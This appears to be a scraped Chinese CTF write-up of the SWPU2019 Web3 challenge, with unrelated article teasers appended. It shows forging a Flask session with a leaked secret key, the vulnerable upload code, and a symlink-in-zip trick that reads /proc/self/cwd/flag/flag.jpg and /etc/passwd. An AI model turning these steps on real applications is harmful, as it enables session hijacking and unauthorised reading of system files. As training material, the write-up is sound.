[SWPU2019]Web3

news/2024/4/27 19:49:50/文章来源:https://blog.csdn.net/snowlyzz/article/details/126665796

目录

考点:

解题:

知识点:

总结:


考点:

又是 Flask_session 

ln -s 软链接

代码审计

解题:

进入页面随便输入点东西

 不是ssti

访问upload 显示没有权限。

抓包看

 经典的 flask_session .

放到kali 里解密

python3 flask_session_cookie_manager3.py decode -c ".eJyrVspMUbKqVlJIUrJS8g1xLFeq1VHKLI7PyU_PzFOyKikqTdVRKkgsLi7PL0IojHIPy42MCCtOcbS1BWkoLU4tykvMTcWhoBYAbr4gMA.YxGslA.wMQVZ9zVUrMJ6O7VU73clHc6wfY"b'{"id":{" b":"MTAw"},"is_login":true,"password":{" b":"ZGVmYXVsdA=="},"username":{" b":"ZGVmYXVsdA=="}}'

改成我们想要的 信息 再进行加密,但是我们没有密钥key

源码中有提示:

随便访问个不存在的url 地址, key就在返回包头中

 

 解密:

U0VDUkVUX0tFWTprZXlxcXF3d3dlZWUhQCMkJV4mKg==keyqqqwwweee!@#$%^&*

进行session 加密成这样:

{'id': b'1', 'is_login': True, 'password': 'admin', 'username': 'admin'}
python3 flask_session_cookie_manager3.py encode -s 'keyqqqwwweee!@#$%^&*' -t "{'id': b'1', 'is_login': True, 'password': 'admin', 'username': 'admin'}"

 加密后抓包 改成session,成功进入到页面:

 F12查看源码。

@app.route('/upload',methods=['GET','POST'])
def upload():if session['id'] != b'1':return render_template_string(temp)if request.method=='POST':m = hashlib.md5()name = session['password']name = name+'qweqweqwe'name = name.encode(encoding='utf-8')m.update(name)md5_one= m.hexdigest()n = hashlib.md5()ip = request.remote_addrip = ip.encode(encoding='utf-8')n.update(ip)md5_ip = n.hexdigest()f=request.files['file']basepath=os.path.dirname(os.path.realpath(__file__))path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"path_base = basepath+'/upload/'+md5_ip+'/'filename = f.filenamepathname = path+filenameif "zip" != filename.split('.')[-1]:return 'zip only allowed'if not os.path.exists(path_base):try:os.makedirs(path_base)except Exception as e:return 'error'if not os.path.exists(path):try:os.makedirs(path)except Exception as e:return 'error'if not os.path.exists(pathname):try:f.save(pathname)except Exception as e:return 'error'try:cmd = "unzip -n -d "+path+" "+ pathnameif cmd.find('|') != -1 or cmd.find(';') != -1:waf()return 'error'os.system(cmd)except Exception as e:return 'error'unzip_file = zipfile.ZipFile(pathname,'r')unzip_filename = unzip_file.namelist()[0]if session['is_login'] != True:return 'not login'try:if unzip_filename.find('/') != -1:shutil.rmtree(path_base)os.mkdir(path_base)return 'error'image = open(path+unzip_filename, "rb").read()resp = make_response(image)resp.headers['Content-Type'] = 'image/png'return respexcept Exception as e:shutil.rmtree(path_base)os.mkdir(path_base)return 'error'return render_template('upload.html')@app.route('/showflag')
def showflag():if True == False:image = open(os.path.join('./flag/flag.jpg'), "rb").read()resp = make_response(image)resp.headers['Content-Type'] = 'image/png'return respelse:return "can't give you"

定义了 两个路由  一个是 /upload   一个是 /showflag 。 上传的路由就是上传一个压缩的图片,然后上传上去之后会解压,然后再显示图片。  

还有一点就是 /show/flag 路由中,显示了 flag 的相对路径, /flag/flag.jpg

知识点:

我们这里可上传一个软连接压缩包,来读取其他文件,showflag路由告诉我们flag.jpg放在flask根目录的flag目录下,但是不知道其绝对路径。

1.在 linux 中,/proc/self/cwd/会指向进程的当前目录,在不知道 flask 工作目录时,我们可以用/proc/self/cwd/flag/flag.jpg来访问 flag.jpg。
2.ln -s是Linux的软连接命令,其类似与windows的快捷方式。比如ln -s /etc/passwd shawroot 这会出现一个名为shawroot的文件,其内容为/etc/passwd的内容。

如:

 

 看到snowy软链接已经被创建出来了。

访问 snowy  正是 /etc/passwd的内容。

 所以 整理下思路:

upload 源码 会将 我们上传的压缩图片进行解压,并解析到前端,我们上传一个/proc/self/cwd/flag/flag.jpg压缩过的软连接,这样  他就会解压我们软连接,并返回给我们看

 其中zip命令的参数含义如下:

-r:将指定的目录下的所有子目录以及文件一起处理-y:直接保存符号连接,而非该连接所指向的文件,本参数仅在UNIX之类的系统下有效。

抓包上传压缩包即可。

总结:

 ln  -s   确实想不到,考点涉猎很广

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_5197.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Codeforces Round #818 (Div. 2) D Madoka and The Corruption Scheme

Madoka and The Corruption Scheme 组合数 + 思维 + 贪心 首先要思考一开始要如何摆放才是最优秀的 按照完全二叉树(根就是最后赢的那个),给所有的点赋予权值,代表需要转换多少条边,才能使得这个点的数字被选上 显然假设当前点的权值为 \(x\),该点的其中一个节点权值必然…

Python-爬虫 (BS4数据解析)

文章目录1. BS4数据解析常见方法2.BS4数据解析&#xff0c;爬取豆瓣电影属性1. BS4数据解析常见方法 BS4数据解析方法是把需要的数据进行截取。处理数据的时间比较长 测试用网页&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta c…

zookeeper知识点扫盲

zookeeper是什么 引用官网的描述&#xff0c; ZooKeeper is a centralized service for maintaining configuration information, naming, providing distributed synchronization, and providing group services. All of these kinds of services are used in some form or a…

express演示前端解决跨域的方法jsonp、cors

1.jsonp jsonp全称 JSON with Padding 即json外面包了一层js函数外衣&#xff0c;jsonp主要是利用了html中<script>等带有src属性的标签进行服务器请求时可以不受跨域影响 ①直接fetch请求 客户端代码 <!DOCTYPE html> <html lang"en"><head…

数据仓库---Hive

1. 数据仓库 1.1 概念 一个非常规范标准的定义是:数据仓库是一个面向主题的、集成的、相对稳定的、反应历史变化的数据集合,用于支持管理决策。 1.2 根本目的 数据仓库的根本目的是为了支持企业内部的商业分析和决策,也即企业相关的经营管理可以基于数据仓…

Java的接口以及接口与抽象类区别

java的接口 产生的背景 有时候必须从几个类中派生出一个子类&#xff0c;继承他们所有的方法&#xff0c;java不支持多继承&#xff0c;于是就有接口 当抽象类中全是抽象方法时&#xff0c;为了简化abstract关键字&#xff0c;于是就有了接口 特点 接口用interface实现 接口中…

22-09-02 西安 JVM 类加载器、栈、堆体系、堆参数调优、GC垃圾判定、垃圾回收算法、对象的finalize机制

JVM入门 1、JVM结构图 JVM是运行在操作系统之上的&#xff0c;它与硬件没有直接的交互 方法区&#xff1a;存储已被虚拟机加载的类元数据信息(元空间) 堆&#xff1a;存放对象实例&#xff0c;几乎所有的对象实例都在这里分配内存 虚拟机栈(java栈)&#xff1a;虚拟机栈描述…

springboot简单使用(4)

1.9 第九章 Thymeleaf 模版 1.9.1 认识 Thymeleaf Thymeleaf 是一个流行的模板引擎,该模板引擎采用 Java 语言开发 模板引擎是一个技术名词,是跨领域跨平台的概念,在 Java 语言体系下有模板引擎,在 C#、PHP 语言体系下也有模板引擎,甚至在 JavaScript 中也会用到模板引擎技…

每个架构师都值得拥有的一份Netty开发实战(附带面试专题)

前言 本书循序渐进的地介绍了 Netty各个方面的内容。 本书共分为 4 个部分&#xff08;共15章&#xff09;&#xff1a; 第一部分详细地介绍 Netty 的相关概念以及核心组件&#xff1b;第二部分介绍自定义协议经常用到的编解码器&#xff1b;第三部分介绍 Netty 对于应用层高…

线程相关方法

1. wait&#xff0c;notify&#xff0c;notifyAll 1.1wait原理 1.2用法 阻塞阶段 让线程暂时休息&#xff0c;等到时机成熟再唤醒继续运行。 在对象执行wait方法的时候&#xff0c;线程必须拥有这个对象的monitor锁&#xff0c;然后释放锁&#xff0c;进入阻塞状态。 唤醒阶段…

如何让 ABAP 报表在后台作业的模式下运行

本教程迄今为止我们介绍的各种 ABAP 程序的编写,都是在事物码 SE38 或者 SE80 里完成之后,直接点击工具栏的执行按钮,或者使用 F8 快捷键来执行的: 以这种方式启动的 ABAP 程序,是以在线方式(online)运行的,有时也称 联机 模式。 也就是说,如果在执行 ABAP 程序的过程中…

利用 SSH 完成 Git 与 GitHub 的绑定

如上图所示,进入Settings页面后,再点击SSH and GPG Keys进入此子界面,然后点击New SSH key按钮:在「史上最简单的 GitHub 教程」中,我们已经对 GitHub 有了一定的了解,包括创建仓库、拉分支,或者通过Clone or download克隆或者下载代码;我们也下载并安装了 Git,也了解…

Java开发五年跳槽涨薪从12K到35K,靠“狂刷”九遍面试题

朋友做Java开发三年多的时间了&#xff0c;在老东家勤勤恳恳工作了三年多&#xff0c;工资也就是从刚开始的8K涨到了12K&#xff0c;天天给我吐槽他的工资低。2020年年初开始就一直在各种地方找资源&#xff0c;刷面试题&#xff0c;想要“骑驴找马”&#xff0c;恰恰又是在疫情…

jupyter 基本用法

前一段时间&#xff0c;同事帮我在超算服务器安装了一套 jupyter notebook 软件&#xff0c;甚是好用。但用了几天后&#xff0c;忽然就不能用了。今天研究了一下&#xff0c;发现是服务器程序关闭了&#xff0c;所以我在浏览器端的网页就打不开了。今天仔细研究了一下&#xf…

Unity入门01——unity界面基础

1.工程文件夹 1.Assets&#xff1a;工程资源文件夹&#xff08;(美术资源&#xff0c;脚本等等) 2.Library&#xff1a;库文件夹(Unity自动生成管理) 3.Logs&#xff1a;日志文件夹&#xff0c;记录特殊信息(Unity自动生成管理) 4.obj&#xff1a;编译产生中间文件(Unity自动生…

【05】Yarn

125_尚硅谷_Hadoop_Yarn_课程介绍 126_尚硅谷_Hadoop_Yarn_基础架构 整个集群资源的老大&#xff1a;ResourceManager 单个结点资源的老大&#xff1a;NodeManager 每一个作业任务的老大&#xff1a;ApplicationMaster 相应的容器&#xff08;相当于一个小电脑&#xff09;&…

DolphinScheduler实例表备份、清理

&#x1f60b;DolphinScheduler实例表备份、清理 &#x1f44a;一、前言 DolphinScheduler至今已经在项目中使用了将近一年&#xff0c;工作流实例和任务流实例都积累了百万级的数据量。在查看工作流实例和任务实例的时候&#xff0c;都要等待后台去查询数据库&#xff0c;感觉…

【电商项目实战】拦截器(详细篇)

&#x1f341;博客主页&#xff1a;&#x1f449;不会压弯的小飞侠 ✨欢迎关注&#xff1a;&#x1f449;点赞&#x1f44d;收藏⭐留言✒ ✨系列专栏&#xff1a;&#x1f449;SpringBoot电商项目实战 ✨学习社区&#xff1a; &#x1f449;不会压弯的小飞侠 ✨知足上进&#x…

Python tkinter 制作一个经典的登录界面和点击事件

前言Tkinter(即 tk interface) 是 Python 标准 GUI 库,简称 “Tk”;从本质上来说,它是对 TCL/TK 工具包的一种 Python 接口封装。Tkinter 是 Python 自带的标准库,因此无须另行安装,它支持跨平台运行,不仅可以在 Windows 平台上运行,还支持在 Linux 和 Mac 平台上运行…

怎样在LaTeX中方便输入带圆圈的数字

这个也是这两天修改别人论文的时候得到的经验。正如这里所说&#xff1a;latex 如何添加圆圈数字&#xff1f;_Tsingke的博客-CSDN博客 如果使用\textcircled&#xff0c;数字编号大的时候&#xff0c;数字会跑到圆圈外面。但是上面这篇博客的解决方案太复杂了&#xff0c;就像…